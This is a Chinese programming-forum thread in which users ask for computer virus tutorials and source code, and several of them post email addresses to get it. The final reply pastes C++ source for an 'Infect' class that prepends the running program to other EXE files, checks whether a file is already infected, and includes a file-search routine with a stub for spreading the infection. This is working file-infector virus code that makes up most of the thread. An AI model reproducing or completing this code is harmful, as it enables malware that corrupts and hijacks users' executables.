学习病毒知识,想求VC上的病毒教程或相关资料,VB也行,基础的最好。

解决方案 »

  1.   

    楼主想干嘛
    我有大量此类源程序,VC,Win32ASM的,例子从简单到复杂全面批注,不过VB的没有
    楼主想做坏事?
      

  2.   

    我也想要来研究研究!能发给我吗?E-Mail:[email protected]
      

  3.   

    只是想研究下感染实现这类,不涉及恶意破坏
    EM:[email protected]
      

  4.   

    难得一次登陆CSDN的验证码是88888
    去了CVC看了下,多数是汇编的,不过我只想用VC写传染EXE这,AUTORUN这种的
    给点资料哦,谢谢
      

  5.   

    :-)同求这类代码
    [email protected]
      

  6.   

    不要動不動就Email Email的
    網搜下一大堆
    xsiiao的代碼
    //Infect.h
    //--------------------------------------------------begin----------------------------------------------------
    #define INFECTAPI 0x00010001
    #include "windows.h"
    #include "stdio.h"
    #define RUNFLAG_APPOSE 1 //并列执行
    #define RUNFLAG_ORDER 2 //顺序执行class Infect
    {
    public:
    Infect(void *INFECT=NULL); //构造
    ~Infect(void); //析构
    public:
    virtual int BindFiles(char *NewPathBufName,char *PassWord);
    virtual int FindFiles(char *PathBuf,char *WildCardBuf, void *lParam);
    virtual int ReduceFiles(char *NewPathBufName,char *PassWord);
    virtual bool ExcepTionName(char *buf);
    virtual long GetFileLen(char *PathFileName);
    protected:
    long FileLength(FILE *fp);
    char szfilename[1024];
    bool v_strcmp(char *str1,char *str2,long len1,long len2);};//------------------------------------------------end--------------------------------------------------------
    //Infect.cpp
    //---------------------------------------------------begin---------------------------------------------------
    #include "Infect.h"
    Infect::Infect(void *INFECT)

    memset(szfilename,0,1024);
    GetModuleFileName(NULL, szfilename, 1024 ); // 得到程序全路径名
    }
    Infect::~Infect()
    {
    }int Infect::BindFiles(char *NewPathBufName,char *PassWord)//绑定//这里没有用到PASSWORD
    {
    FILE *fp1;
    FILE *fp2;
    DWORD dwAttrs1,dwAttrs2; 
    dwAttrs1 = GetFileAttributes(NewPathBufName); //更改文件属性,用于读写.
    SetFileAttributes(NewPathBufName,FILE_ATTRIBUTE_NORMAL); 
    dwAttrs2 = GetFileAttributes(szfilename); 
    SetFileAttributes(szfilename,FILE_ATTRIBUTE_NORMAL); 
    if(NULL==(fp1=fopen(NewPathBufName,"rb+"))) //文件存在:读,写(有可能失败),
    {
    return 1;
    }if(NULL==(fp2=fopen(szfilename,"rb"))) //读,成功 //程序本身.

    return 2;
    }char *str1;
    char *str2;
    long len1=0,len2=40960;//len2这里写上EXE文件的大小str1=(char *)malloc(len2);
    str2=(char *)malloc(len2);memset(str1,0,len2);
    memset(str2,0,len2);
    long a,b;
    a=fread(str1,1,len2,fp1);
    b=fread(str2,1,len2,fp2);if(v_strcmp(str1,str2,a,b))//验证是否已经绑定
    return 4;free((char *)str1);
    fseek(fp1,0,SEEK_SET);
    len1=FileLength(fp1); //取得NEW文件长度str1=(char *)malloc(len1);
    fread(str1,1,len1,fp1);fseek(fp1,0,SEEK_SET);
    fwrite(str2,1,len2,fp1);
    fwrite(str1,1,len1,fp1);fclose(fp1);
    fclose(fp2);free((char *)str1);
    free((char *)str2);
    SetFileAttributes(NewPathBufName,dwAttrs1); //还原文件属性.
    SetFileAttributes(szfilename,dwAttrs2); 
    return 3;
    }
    int Infect::FindFiles(char *PathBuf,char *WildCardBuf,void *lParam)//查找
    {WIN32_FIND_DATA FileData; 
    HANDLE hSearch;
    char DirPath[1024];
    memset(DirPath,0,1024);
    strcpy(DirPath,PathBuf);///****************
    if(DirPath[(int)strlen(DirPath)-1]!='\\')DirPath[(int)strlen(DirPath)]='\\';
    strcat(DirPath,WildCardBuf);///*************************
    //合并搜索路径 //这个可以用溢出来使程序崩溃// 所以在调用的时候加一个验证.或者自己换一个DirPath.我这里就不在写了.
    hSearch = FindFirstFile(DirPath, &FileData); 
    if (hSearch == INVALID_HANDLE_VALUE) 

    return 0;

    while (1) 
    {
    if(FileData.cFileName[0]!='.')
    {
    /* char str[1024]; //这里是我测试用的.请自行编写代码.
    memset(str,0,1024);
    strcpy(str,PathBuf);
    if(str[(int)strlen(str)-1]!='\\')str[(int)strlen(str)]='\\';
    strcat(str,FileData.cFileName);
    MessageBox(NULL,str,"",0);
    FindFiles(str,WildCardBuf,NULL);*/
    }
    //在这里添加改写文件代码吧.
    // 绑定 文件;;
    if (!FindNextFile(hSearch, &FileData)) 
    {
    if (GetLastError() == ERROR_NO_MORE_FILES) 

    FindClose(hSearch);
    return 0;

    else 

    FindClose(hSearch);
    return 0;

    }

    return 0;
    }
    int Infect::ReduceFiles(char *NewPathBufName,char *PassWord)//分解//这里没有用到第二个参数.
    {
    FILE *fp1;
    FILE *fp2;if(NULL==(fp1=fopen(szfilename,"rb"))) //:读,成功 

    return 1;
    }char *str1;
    char *str2;
    long len1=0,len2=40960;//len2这里写上EXE文件的大小len1=FileLength(fp1)-len2;if(len1<=0) //验证是否要分解文件.
    return 4;
    str1=(char *)malloc(len1);
    str2=(char *)malloc(len2);
    memset(str1,0,len1);
    memset(str2,0,len2);fread(str2,1,len2,fp1);
    fread(str1,1,len1,fp1);if(NULL==(fp2=fopen(NewPathBufName,"wb+")))
    {
    return 2;
    }
    fwrite(str1,1,len1,fp2);fclose(fp1);
    fclose(fp2);free((char *)str1);
    free((char *)str2);
    return 3;
    }
    bool Infect::ExcepTionName(char *buf)//例外 //这里的代码我就不写了,每个人的想法不同.
    {return false;
    }
    long Infect::GetFileLen(char *PathFileName)
    { long len=0;
    FILE *fp;
    if(NULL==(fp=fopen(PathFileName,"rb"))) //文件存在:只读
    {
    return -1;
    }
    len=FileLength(fp);
    fclose(fp);
    return len;
    }
    long Infect::FileLength(FILE *fp) 

    long lCurpos, lLength; 
    lCurpos = ftell(fp); 
    fseek(fp,0,SEEK_END); 
    lLength=ftell(fp); 
    fseek(fp,lCurpos,SEEK_SET); 
    return lLength; 

    bool Infect::v_strcmp(char *str1,char *str2,long len1,long len2)
    {
    long i=0;
    i=(len1>len2?len2:len1);
    for(long j=0;j<i;j++)
    {
    if(str1[j]!=str2[j])
    return false;
    }
    return true;}